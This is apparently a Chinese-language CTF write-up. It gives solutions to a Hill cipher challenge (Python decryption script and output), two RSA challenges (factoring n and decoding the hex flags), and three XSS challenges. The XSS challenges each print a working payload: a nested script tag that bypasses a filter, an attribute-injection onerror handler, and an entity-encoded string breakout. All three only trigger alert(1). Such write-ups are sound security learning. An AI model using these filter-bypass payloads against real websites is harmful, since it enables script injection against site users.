密码学

Hill 密码：

求出逆矩阵*105 得到[225 -255][-60 75]将小数变成整数得【225 5】【18 75】

再由解密算法得到结果

```
a = 'jchfecncvxogmtgqtqlqamqutqsgnniw'
b = list(a)
c = []
d = []
for i in range(0,32):
    c.append(ord(b[i])-97)
for s in range(0,32):
    if s%2==0:
        d.append(int(225*c[s]+5*c[s+1]))
    else :
        d.append(int(18*c[s-1]+75*c[s]))
    while(d[s]>=26):
        d[s]-=26
    d[s]=chr(d[s]+97)
e = ''.join(d)
print(e)
```

```
Python 3.5.3 Shell
File  Edit  Shell  Debug  Options  Window  Help
Python 3.5.3 (v3.5.3:1880cb95a742, Jan 16 2017, 15:51:26) [MSC v.1900 32 bit (Intel)] on win32
Type "copyright", "credits" or "license()" for more information.
>>>
========== RESTART: C:\Users\lenovo\Desktop\hill.py ==========
haohaoxuexiandainihuiqiuniyuanma
```

RSA 算法

第一题　把 n 分解求出 p，q；然后算出密文，转换为十六进制，再转换为字符串

得出的十六进制字符串是

6867616D657B31665F755F6B6E30775F705F715F316E5F5253415F31745F69735F656173795F5F5F7D

得到 flag：hgame{1f_u_kn0w_p_q_1n_RSA_1t_is_easy___}

第二题先由 n 得出公因数

174020591931642579445639482520669966832472464887563376831648240313949745675620951449596182091422504516152964331753172816101258786500867442499980329622871605643244312864569190912571594622928685486487082899631190828171757188986378429230898856002204891580815930976676783807695195461562646917675429591266528741337

最后得出

686374667B49375F31735F64346E6765723075735F325F53683472655F7072696D337D

得到 flag

hctf{I7_1s_d4nger0us_2_Sh4re_prim3}

Xss0：

Payload

重写一下就好

```
</article><scrscriptipt>alert(1)</scrscriptipt> ,
```

SSSSSSSSSSSSSuccess!!请带着payload找HeartSky(QQ 869794781)或C014(QQ 779041017)

Xss1

Payload

构造 js 错误

```
"type=image src="gcgc" onerror="alert&#40;1)
```

SSSSSSSSSSSSSuccess!!请带着payload找HeartSky(QQ 86C014(QQ 779041017)

Xss2

把符号用 URL 重新编码

```
&quot;;alert(1);var a = &quot;
```

黄金矿工：打通关就好